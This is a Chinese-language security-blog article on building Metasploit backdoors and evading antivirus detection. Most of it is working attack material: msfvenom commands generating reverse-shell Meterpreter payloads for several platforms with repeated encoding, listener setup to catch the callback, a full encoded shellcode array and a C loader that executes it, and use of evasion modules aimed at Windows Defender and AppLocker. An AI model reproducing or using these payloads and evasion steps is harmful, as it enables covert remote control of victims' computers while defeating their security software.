黑羽
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
msf生成后门和免杀的方式
免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
杀毒软件检测方式
特征代码法:“同一病毒或同类病毒的某一部分代码相同”的原理来识别病毒文件。该技术是利用留在受感染文件中的病毒特征值进行检测。发现新病毒后,对其进行分析,根据其特征编成病毒码,加入到数据库中。今后在执行查毒程序时,通过对比文件与病毒数据库中的病毒特征码,检查文件是否含有病毒。
校验和法:此法计算文件的校验和并保存,可定期或调用文件时进行对比,从而判断文件是否被病毒感染。
行为监测法:此法根据病毒的行为特征来识别病毒,这需要对病毒行为进行详细的分类和研究,分析那些病毒共同的行为,以及正常程序的罕见行为,根据程序运行时的行为进行病毒判断和预警。
软件模拟法:这种方法通过模拟病毒运行的方式来检测病毒特征。
杀毒软件主动防御
HIPS(主机入侵防御系统),常说的安全防护就是HIPS,其实就是杀毒软件会监控进程、流量,再和病毒库匹配,以及对不认识的文件上传到服务器进行模拟运行,研判是否是病毒,然后指导杀毒软件进行行为监控或者处理。
免杀技术介绍
修改特征码
免杀的最基本思想就是破坏特征,这个特征有可能是特征码,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次免杀就能完成了。(特征码:能识别一个程序是病毒的一段不大于64字节的特征串)。
花指令免杀
花指令其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,所以它存在的唯一目的就是阻止反汇编程序,或对反汇编设置障碍。
内存免杀
CPU不可能是为某一款加壳软件而特别设计的,因此某个软件被加壳后的可执行代码CPU是读不懂的。这就要求在执行外壳代码时,要先将原软件解密,并放到内存里,然后再通知CPU执行。
加壳免杀
说起软件加壳,简单地说,软件加壳其实也可以称为软件加密(或软件压缩),只是加密(或压缩)的方式与目的不一样罢了。壳就是软件的所增加的保护,并不会破坏里面的程序结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳,然后由壳将加密的程序逐步还原到内存中,最后运行程序。
二次编译
metasploit的msfvenom提供了多种格式的payload和encoder,生成的shellcode也为二次加工提供了很大遍历,但是也被各大厂商盯得死死的。而shikata_ga_nai是msf中唯一的评价是excellent的编码器,这种多态编码技术使得每次生成的攻击载荷文件是不一样的,编码和解码也都是不一样。还可以利用管道进行多重编码进行免杀。
目前msfvenom的encoder特征基本都进入了杀软的漏洞库,很难实现单一encoder编码而绕过杀软,所以对shellcode进行进一步修改编译成了msf免杀的主流。互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果。
资源修改
有些杀软会设置有扫描白名单,比如之前把程序图标替换为360安全卫士图标就能过360的查杀。
MSF免杀技术详解
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。
常用的指令;
-p: 指定payload模块
-l :列出可用项
-f :指定文件类型
-e: 加载编码器
-b:删除无效字符
-i :指定编码次数
-x: 捆绑文件
-o:导出文件
更多的可以查看如下表格;
-p, --payload | 指定****payload |
---|---|
--list payloads | 列出可以设置的payload选项 |
-l, --list | 列出可用项 |
**-n, --**nopsled | 指定 nop 在 payload 中的数量 |
-f, --format | 指定文件输出格式 |
--list formats | 列出可用输出格式 |
-e, --encoder | 指定使用编码器 |
--list encoders | 查看可用得编码器 |
-a, --arch | 指定目标系统架构 |
--platform | 指定目标系统 |
--list platforms | 查看可用的目标系统 |
-s, --space | 未经编码的 Payload 的最大长度 |
--encoder-space | 编码后的 Payload 的最大长度 |
-b, --bad-chars | 设置在Payload 中避免出现的字符 |
-i, --iterations | 设置 Payload 的编码次数 |
-c, --add-code | 包含额外的win32 shellcode文件 |
-x, --template | 指定特定的可执行文件作为模板 |
-k, --keep | 保护模板程序的功能,注入的payload作为一个新的进程运行 |
-o, --out | 保存 Payload 到文件 |
-v, --var-name | 指定变量名 |
通过exe的方式
使用msfvenom快速生成木马并且进行连接;
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.160.130 lport=1250 -f exe > shell.exe
开启控制台
msfconsole
开启监听模块,设置payload类型(前后要求一致)
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
输入options来看还需要设置的内容;
要求需要设置本地的地址和端口并启动监听;
set lhost 192.168.160.130
set lport 1250
run
只要目标执行了exe,就会完成了反弹shell。
常用的后门生成方式;
1.Windows
Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe
Msfvenom –platform windows –p windows/x64/meterpreter/reverse_tcp –f exe –o C:\back.exe
2.Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
3.MAC
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
4.PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.153.138 LPORT =1520 -f raw > shell.php
5.Asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
6.Aspx
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx
通过shellcode方式
生成C的shellcode(-b '\x00' 是为了规避特殊字符)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b '\x00' lhost=192.168.186.130 lport=1250 -f c
获得shellcode;
unsigned char buf[] =
"\xd9\xed\xd9\x74\x24\xf4\xbe\x27\xaf\xc0\xe9\x58\x31\xc9\xb1"
"\xb8\x31\x70\x17\x03\x70\x17\x83\xcf\x53\x22\x1c\xb5\x3a\x7b"
"\x6d\x0e\x9f\xbe\x4b\xe4\x04\xcb\x32\x2f\x8c\x82\x7a\x1e\x58"
"\xf6\xff\x8e\x98\xfb\xa9\xd7\x5b\xbb\x4b\xb4\xf8\x9f\xf1\x55"
"\x36\xba\xff\x22\xd6\x9e\x5f\x6e\x88\xee\x90\x17\xc2\xd1\xa2"
"\x13\x7d\x28\x2a\x4c\xe8\xe0\x69\x6a\x03\xce\x25\x7e\x76\x12"
"\x3f\x1e\x7e\x4c\x99\x9f\x86\x5d\xe7\x7a\x22\xee\x84\x44\xd4"
"\x23\x54\xc8\xd4\xe2\x9f\x23\x9f\x52\x96\x58\x6d\x54\x46\xa8"
"\x15\xdc\xff\xa3\x7b\x8c\x8c\xc0\xf9\x32\x2d\x51\x9e\x5b\x76"
"\xf7\x17\xb4\x09\xcd\x1d\x04\x7c\x44\xd0\x9d\xc9\xc2\x14\xe0"
"\xc8\xe5\x3e\x48\x5c\x56\x7e\xbc\x2b\x14\x3c\x2c\x2b\x78\x51"
"\xb8\x0f\xf9\x96\x79\x91\xe0\x29\xe3\xcd\xb8\x5a\x2e\xb6\x84"
"\x51\xae\xc4\x94\xd5\x19\x6d\x5c\x6c\x5c\xa7\x1b\xc2\x82\xa2"
"\x4a\xbd\x42\x3f\x31\xce\xa4\x24\x2f\x2d\xe9\xc7\xa4\xc0\xe5"
"\xdb\x08\xb1\x33\xa0\x5d\x2f\xc0\x29\x2e\x0d\x86\x9a\x88\x6a"
"\xcd\xe2\x85\x31\x1d\x3c\x07\xa3\x88\x01\x9a\xde\xba\x24\xf5"
"\x0a\x21\xe6\xbc\x7a\xde\x6e\x05\x5c\x46\x92\xab\x0f\xb5\x9d"
"\x34\xd1\x55\x65\x90\x90\xe8\xb0\xe6\x02\x42\xe0\xd1\x97\x19"
"\x71\x92\xac\xf7\xdb\x2b\xbc\x91\x27\xfc\xc1\xe4\x40\x05\xae"
"\xa1\x2f\xc8\xfd\xf9\x86\x52\xcf\xb7\xdc\x02\xff\x45\xc6\xd5"
"\x87\x72\x9b\x54\x75\xba\xda\x67\x35\xa5\x85\x79\xb8\x99\x68"
"\x6d\x76\x68\xbc\x3c\x23\xd4\x40\xf6\x2a\xa6\x46\x77\x21\xcb"
"\xa3\x5c\x8c\x16\x96\x31\x05\x5a\x3f\xde\x76\xb8\xb0\x97\xfd"
"\x42\x6c\xaa\x6b\x4d\x9e\xa0\x93\x2b\x5e\xe9\xf7\xef\x6f\x73"
"\x02\xb4\x5e\x0e\x90\x40\xf5\x27\xe3\x0d\x3d\x60\x87\x3c\x99"
"\xc5\xb4\x5d\x7c\xc3\x60\x73\xd5\xcb\x0d\x13\x18\x7e\xd3\x73"
"\x42\xd9\xa6\xb3\x15\x40\x06\x52\xe5\xfa\x3d\x3e\x73\x40\xa1"
"\xa8\x33\xea\x49\x7d\x76\xff\x5f\x24\xd8\x22\x87\x80\x63\x11"
"\x53\x98\xcf\x26\x7d\x8b\x98\xe4\x99\x07\x95\xa3\xa7\x34\x50"
"\x18\x17\x6d\x4a\x51\x14\x36\x43\x30\xa2\xa7\x06\x2e\xa7\x51"
"\x8e\xc0\x08\xef\xeb\xf0\xd1\x3f\x2f\x27\xf9\xf6\x7e\x53\x38"
"\xe8\xd4\xec\x9e\x30\xb9\x59\x66\x34\xc0\x85\x9c\x6a\xd5\x1f"
"\xa0\x5d\x61\x3b\xf8\xbd\x8b\xef\x9e\x61\x98\x91\xcc\x88\xfd"
"\x06\x5e\xe3\xfd\x76\x5f\xe4\xcc\x72\x8d\x59\x54\xf3\xad\x0d"
"\xb0\x47\x4b\x78\x5b\x24\x17\x0f\x58\x65\xd0\x41\xb6\x7e\xd1"
"\x84\x1d\x64\x63\xe3\x84\xeb\xeb\x58\xfc\x33\x79\x49\xbd\x92"
"\xf0\x30\xde\x3c\xc6\x55\x2d\xcc\xdc\x6c\xb3\xcb\x8b\xa2\x60"
"\xba\x16\xf3\x46\x54\xcd\xd2\x6d\xe8\x99\x26\xba\xf6\xe9\xce"
"\xde\xf8\x23\xd1\x3b\x9e\x05\x3d\x5b\xfe\x0b\x02\xca\xb5\x1c"
"\x60\x83\x21\xb6\x5e\x6c\xa9\x9b\x1c\xd1\x73\x86\xd3\x4d\x7f"
"\x96\xeb\x62\x43\xba\xe5\x9a\xb1\x5a\x2e\xdb\x2e\xf2\x4f\x9f"
"\x58\x87\xcc\xa0\x5a\x1d\xa2\xd5\x89\x40\xf7\xcc\xa3\x30\x8e"
"\xe9\x50\x07\xc0\x8b\x8d\xab\x05\x1f\xb5\x30\xf6\xda\xfd\x35"
"\x77\x63\x6f\x22\x37\x30\x50\xae\xd8\x12\xf6\xa0\x01\x0a\xb8"
"\xec\x24\x23\x10\xbe\xdf\xd8\xa7\x58\xd6\x1b\x75\x76\xd4\xb6"
"\xf2\xd3\x13\x99\xbd\x75\x47\x37\x5c\xb6\xa6\x56\x08\x6a\x1c"
"\xb6\x0d\x4f\xd3\x9a\x73\xd8\x25\xd5\xca\x58\x7d\x17\x45\xe7"
"\x75\x45\x4d\x93\xbd\x92\x11\x2e\x45\x9f\x2c\x26\x50\xf1\xf6"
"\x3a\xc3\x35\xa9\x76\xb8\xf5\xd9\xca\xbb\x43\x5a\x7f\x94\x26"
"\x59\x5c\x96\x7f\xf2\x1c\x18\x5b\xbb\x4a\x89\xd8\xf2\x23\x93"
"\x43\x5c\xf7\x49\xc2\xec\xe1\x3f\x76";
在被测端安装VS 6.0,并进行配置
在主程序位置添加之前生成的shellcod代码,就完成了组装;
#include "stdafx.h"
#include <stdio.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] =
(这里放生成好的数组)
main()
{
((void(*)(void))&buf)();
}
接下来对头文件进行编译
上一步没有报错,就继续进行编译;
上两步都没错的话,就点击组建
在项目路径上,可以找到编译组建完毕的exe文件
如果还想继续进行混淆绕过杀软,可以这么操作,添加资源脚本到工程文件,就像在文件中加盐
然后再对这个加盐文件进行编译组建;
msf自带免杀
具体如下,除了红框之外的都是codeshell;
windows_defender_exe的操作方法
具体操作如下
use evasion/windows/windows_defender_exe
然后根据规则生成exe文件;
evasion/windows/windows_defender_js_hta的使用
msfconsole
show evasion
use evasion/windows/windows_defender_js_hta
options
run
然后后去hta文件(可以理解为exe文件),然后再测试下能否绕过杀软;
前几个codeshell的使用方式
通过获取info信息,里面有上具体的操作流程网址,跟着做就可以了
evasion/windows/applocker_evasion_msbuild
info evasion/windows/applocker_evasion_msbuild
shellcode_launcher的使用
shellcode_launcher这工具可以比作为qiang;
https://github.com/clinicallyinane/shellcode_launcher
通过msf生成row格式的shell,可以理解为zi弹;
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.186.130 lport=1234 -f raw -o shellcode.raw
开启msf的监听
msfconsole
use exploit/multi/handler
set playload windows/meterpreter/reverse_tcp
set lhost 192.168.186.130
set lport 1234
run
然后在目标机器上进行执行(qiang+zi弹一起执行)一般就能获得反弹shell;
shellcode_launcher.exe -i shellcode.raw
如果还是报毒的话,就是vscode编辑器再进行编译。。。。
总结
常用的免杀思路:
1,指定编码器,重新编码几次;
2,生成C代码,重新编译成exe;
3,加入垃圾指令;
4,msf-evaseion模块使用;
5,shellcode_launcher的用使用
6,shellcode_launcher重新编译/改变量名/注释/
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)